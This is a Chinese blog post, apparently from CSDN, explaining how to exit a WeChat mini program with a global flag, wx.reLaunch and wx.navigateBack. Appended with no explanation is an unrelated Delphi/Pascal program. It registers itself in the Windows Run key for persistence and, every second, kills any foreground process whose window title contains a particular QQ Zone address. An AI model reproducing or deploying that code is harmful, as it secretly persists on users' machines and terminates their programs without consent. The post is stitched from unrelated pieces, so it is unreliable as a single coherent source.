如何在微信小程序里面退出小程序

本文介绍了一种在微信小程序中实现退出功能的方法。通过设置全局变量并在不同页面间传递状态,最终利用wx.reLaunch和wx.navigateBack API实现小程序的退出。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

公司要求用小程序重构已有的微信公众号,于是没接触过小程序的我。。。好的,直接进入主题。

如何在小程序里面退出小程序

这个功能基本上都会用到,而文档里面没有找到如微信一样直接的api:

 WeixinJSBridge.call('closeWindow');

于是我就各种上网搜,好的,结果告诉我小程序已经出了这个api,但未公开= =||| 那就是说 现在 是没有这个api的(掀桌!),查了又查,是有一个方法,就是利用现有的api自己做一个


是的,就是用这几个美丽的东西。

首先我们有两个页面,index和a。

app.js设置一个全局变量flag:

 globalData: {
    flag:false
 }

index.wxml:

 <button  bindtap='toa'>to a</button>


index.js:
 toa(){//跳转至a页面
    wx.navigateTo({
      url: '../a/a',
    })
  },
 onLoad: function () {
    if (app.globalData.flag) {//如果flag为true,退出
      wx.navigateBack({
        delta:1
      })
    } else {
      console.log('这里是index')
    }
  },


a.wxml:

<!--pages/a/a.wxml-->
<text>pages/a/a.wxml</text>
<button bindtap='close'>close</button>


a.js:

 close(){
    app.globalData.flag=true;
    wx.reLaunch({
      url: '../index/index',
    })    
  },
点击按钮to a跳转至a页面,然后点击close就可以退出小程序。

在这里,close函数要把全局变量app.globalData.flag置为true,然后使用wx.reLaunch把所有的页面关闭,在跳转至index的时候,利用wx.navigateBack返回上一页,因为页面栈没有东西,就会退出小程序了。


来个截图:




Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值